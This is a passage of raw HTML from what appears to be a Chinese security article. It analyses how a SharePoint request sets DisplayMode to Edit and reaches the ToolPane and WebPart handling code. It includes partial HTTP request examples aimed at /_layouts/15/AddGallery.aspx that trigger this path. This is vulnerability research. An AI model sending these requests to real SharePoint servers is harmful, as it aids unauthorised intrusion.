YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">public static readonly WebPartDisplayMode CatalogDisplayMode = new WebPartManager.CatalogWebPartDisplayMode();</span><span leaf=""><br/></span><span leaf="">public static readonly WebPartDisplayMode ConnectDisplayMode = new WebPartManager.ConnectWebPartDisplayMode();</span><span leaf=""><br/></span><span leaf="">public static readonly WebPartDisplayMode DesignDisplayMode = new WebPartManager.DesignWebPartDisplayMode();</span><span leaf=""><br/></span><span leaf="">public static readonly WebPartDisplayMode EditDisplayMode = new WebPartManager.EditWebPartDisplayMode();</span><span leaf=""><br/></span><span leaf="">public static readonly WebPartDisplayMode BrowseDisplayMode = new WebPartManager.BrowseWebPartDisplayMode();</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">寻找到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">displayMode</span></code><span leaf="">的赋值位于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GetDisplayMode</span></code><span leaf="">函数，里面存在多种赋值方式，比如当表单请求参数</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MSOSPWebPartManager_DisplayModeName</span></code><span leaf="">为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">edit</span></code><span leaf="">时，获取的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">displayMode</span></code><span leaf="">值为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">EditWebPartPartDisplayMode</span></code><span leaf="">，可满足上面的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">if</span></code><span leaf="">判断并创建</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toolPane</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008591" class="rich_pages wxw-img" data-ratio="0.4107843137254902" data-type="png" data-w="1020" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=ac79c26d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaV8ePl7BOZQJ65M6GCTn3BKVSOw6mERBTWYScrYwVzd7zvtdd7O1lnVg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">请求示例如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">POST /_layouts/15/AddGallery.aspx HTTP/1.1</span><span leaf=""><br/></span><span leaf="">Host: </span><span leaf=""><br/></span><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0</span><span leaf=""><br/></span><span leaf="">Connection: close</span><span leaf=""><br/></span><span leaf="">Content-Type: application/x-www-form-urlencoded</span><span leaf=""><br/></span><span leaf="">Content-Length: 40</span><span leaf=""><br/></span><span leaf="">MSOSPWebPartManager_DisplayModeName=Edit ...</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此外，还存在其他赋值 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">displayMode</span></code><span leaf=""> 的方法，比如内部调用了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">HasValidUrlDisplayModeParam</span></code><span leaf=""> ，该函数中可以通过请求参数 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DisplayMode</span></code><span leaf=""> 来进行赋值，这也是目前公开的触发方法：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008590" class="rich_pages wxw-img" data-ratio="0.3069403714565005" data-type="png" data-w="1023" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=c0fc9c6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVuQ1Amth2icPpqNfymGynhXH6UWpUPCpjnAo8TADZ9xA1Qo7maUN87EA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">GET /_layouts/15/AddGallery.aspx?DisplayMode=Edit HTTP/1.1</span><span leaf=""><br/></span><span leaf="">Host: </span><span leaf=""><br/></span><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0</span><span leaf=""><br/></span><span leaf="">Connection: close</span><span leaf=""><br/></span><span leaf="">Content-Type: application/x-www-form-urlencoded</span><span leaf=""><br/></span><span leaf="">Content-Length: 40</span><span leaf=""><br/></span><span leaf="">...</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">回到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ShowToolPaneIfNecessary</span></code><span leaf=""> 函数，此时 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toolPane</span></code><span leaf=""> 非空并且 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DisplayMode</span></code><span leaf=""> 取值为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">EditDisplayMode</span></code><span leaf=""> ，因此会尝试读取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toolPane</span></code><span leaf=""> 对象的属性 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SelectedAspWebPart</span></code><span leaf=""> 来获取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf=""> 实例：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008598" class="rich_pages wxw-img" data-ratio="0.42367906066536204" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=8d65660c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVKJXfMGFAUo50IricuymwTbXSskMg210QNvPd8WmzmSvvia8C9WVx0UUg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SelectedAspWebPart</span></code><span leaf=""> 属性中，除了判断上面分析的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DisplayMode</span></code><span leaf=""> 参数外，还会判断 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">InCustomToolPane</span></code><span leaf=""> 的取值：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008596" class="rich_pages wxw-img" data-ratio="0.1808300395256917" data-type="png" data-w="1012" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=6747657f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaV4LBocPtoAUmSw7EoqqDM3YR6l7kBfcJcU5SOUsfrQAjUwzmYZWBumg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">InCustomToolPane</span></code><span leaf=""> 